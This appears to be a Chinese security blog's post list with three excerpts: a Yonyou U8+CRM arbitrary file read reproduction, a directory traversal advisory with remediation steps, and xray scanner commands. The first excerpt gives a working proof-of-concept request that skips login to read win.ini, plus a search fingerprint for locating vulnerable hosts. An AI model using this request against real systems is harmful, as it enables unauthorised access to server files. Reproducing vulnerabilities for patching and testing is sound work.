- 博客(3)
- 收藏
- 关注
RSS订阅原创 用友U8+CRM 任意文件读取漏洞复现
poc：burp 抓包 get 请求 GET /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini 替换即可。getemaildata.php 文件存在任意文件上传和任意文件读取漏洞，本文 只复现 任意文件读取。body="用友U8CRM"
2023-10-18 14:04:47
167
1
原创 用友U8+ CRM目录遍历漏洞复现
或者将补丁压缩包中updateApConf.cmd放到U8SOFT\turbocrm70\apache\conf目录下执行，执行完之后在u8应用管理中重启apache服务。可以修改配置文件，即修改apache配置，将Options Indexes FollowSymLinks修改为Options FollowSymLinks，不在允许列出目录。漏洞影响U8 V16.5, V16.1, V16.0, V15.1, V15.0, V13版本。用友U8+CRM存在目录遍历漏洞，攻击者可利用该漏洞获取敏感信息。
2023-10-18 13:50:22
249
原创 1、xray常用命令
单个网站扫描：xray.exe webscan --basic-crawler url（测试） --html-output 2.html（生成报告名字）与BP联动扫描：xray.exe webscan --listen 127.0.0.1:7777 --html-output proxy.html。脚本批量扫描：python xray.py。请下载的时候选择最新的版本下载。
2023-10-10 21:47:47
318
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人